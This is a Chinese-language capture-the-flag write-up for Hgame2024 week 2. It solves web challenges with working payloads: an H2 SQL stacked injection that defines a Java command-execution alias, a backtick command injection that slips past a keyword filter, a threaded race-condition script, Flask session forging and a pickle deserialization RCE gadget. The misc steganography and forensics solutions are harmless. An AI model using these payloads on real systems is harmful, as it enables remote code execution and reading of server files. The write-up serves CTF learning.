Hgame2024 week2 wp

MakaRi

1. search4member：利用别名创建 java 函数执行系统命令并捕获输出，再利用堆叠注入插入数据库获得回显。

Pyaload：114%';CREATE ALIAS EXEF_CMD AS $$ String execCmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;//
114%';INSERT INTO member (id, intro, blog) VALUES ('1', '1', (SELECT EXEF_CMD('cat /flag')));//

2. what the cow say?:反引号命令注入，过滤了 flag 和 cat，用${Z}绕过即可。

Payload:`ca${Z}t /fla${Z}g_is_here`

3.select more courses:用 bp 内置的爆破字典爆出密码为 qwert123，通过时间竞争绕过限制，申请学分后抢课即可。

```
import threading
import requests
url = "http://106.14.57.14:31446/api/expand"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.4844.51 Safari/537.36',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'Origin': 'http://106.14.57.14:31446',
    'Referer': 'http://106.14.57.14:31446/expand',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie':
'session=MTcwNzIwNjkzN3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW
9BQ0cxaE5XaHlNREJ0fAUoz5iiX0_7-Yr222T56mg0gWHE85nJJWp3qm5pBJhN',
    'Connection': 'close'
}
data = '{"username":"ma5hr00m"}'

def send_request():
    response = requests.post(url, headers=headers, data=data)
    print(response.status_code, response.reason)
thread_count = 1000
threads = []
for i in range(thread_count):
    thread = threading.Thread(target=send_request)
    threads.append(thread)
```

```
    thread.start()
for thread in threads:
    thread.join()
```

4.myflask：开启靶机的同时，启动脚本输出可能的 secretkey 值

```
from datetime import datetime
from pytz import timezone
import time
while True:
    currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
    currentTime = currentDateAndTime.strftime("%H%M%S")
    print(currentTime)
    time.sleep(0.9)
```

用 python-flask-session-manager 一个一个尝试，从 session 解密出{'username':'guest'}即为正确 secretkey。因为是精确到秒的所以工作量不大。

再用该 secretkey 加密出 admin 身份的 session。

然后获得一个 pickle 反序列化点

```
import pickle
import base64
class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))
x=genpoc()
res=pickle.dumps(x)
res1=base64.b64encode(res)
print(res1)
print(base64.b64decode(b'gASVPwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwjX19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCmUhZRSlC4='))
```

反序列化恶意类执行系统命令即可。

5. ek1ng_want_girlfriend:用 wireshark 打开找到带有图片文件的数据包，导出分流字节组命名为 png 图片即可。

6. Ezword:doc 文档后缀名改为 zip，解压后 media 目录内的两张图片用 github 脚本 Blindwatermark 解出水印获得压缩包密码，解压得到 txt 文件，里面是邮件，去在线网站 spammimic 解码得到中文乱码，观察 unicode 值发现第一个和第二个字符刚好相差 1 位，联想到 hgame 的 h 和 g 也相差一位，写脚本做相对应的字符偏移得到 flag。

7. 龙之舞：Audocity 打开文件，观察频谱图在开头一段找到一个 key（截图后翻转），以改 KEY 用 silenteye 打开音频文件，获得一个 gif。用 wps 查看器的逐帧播放得到四个四分之一二维码，用 ps 截出每一张的右下角 165 像素后拼起来即为完整二维码，用 qrazybox 将纠错等级改为 M4（这里是一个一个尝试的），extract 得到 flag。